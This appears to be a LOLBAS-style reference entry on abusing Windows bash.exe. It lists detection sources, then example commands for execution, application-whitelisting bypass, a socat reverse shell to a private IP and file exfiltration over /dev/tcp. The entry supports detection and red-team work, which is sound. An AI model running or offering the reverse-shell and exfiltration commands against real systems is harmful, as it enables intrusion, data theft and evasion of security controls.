.. /Bash.exe

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Paths:

• C:\Windows\System32\bash.exe
• C:\Windows\SysWOW64\bash.exe

Resources:

• https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

Acknowledgements:

• Alex Ionescu (@aionescu)
• Asif Matadar (@d1r4c)

Detections:

• BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
• Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml
• IOC: Child process from bash.exe

Execute

1. Executes calc.exe from bash.exe

   bash.exe -c calc.exe

   Use case

   Performs execution of specified file, can be used as a defensive evasion.

   Privileges required

   User

   Operating systems

   Windows 10

   ATT&CK® technique

   T1202

2. Executes a reverseshell

   bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"

   Use case

   Performs execution of specified file, can be used as a defensive evasion.

   Privileges required

   User

   Operating systems

   Windows 10

   ATT&CK® technique

   T1202

3. Exfiltrate data

   bash.exe -c 'cat file_to_exfil.zip > /dev/tcp/192.168.1.10/24'

   Use case

   Performs execution of specified file, can be used as a defensive evasion.

   Privileges required

   User

   Operating systems

   Windows 10

   ATT&CK® technique

   T1202

AWL bypass

1. Executes calc.exe from bash.exe

   bash.exe -c calc.exe

   Use case

   Performs execution of specified file, can be used to bypass Application Whitelisting.

   Privileges required

   User

   Operating systems

   Windows 10

   ATT&CK® technique

   T1202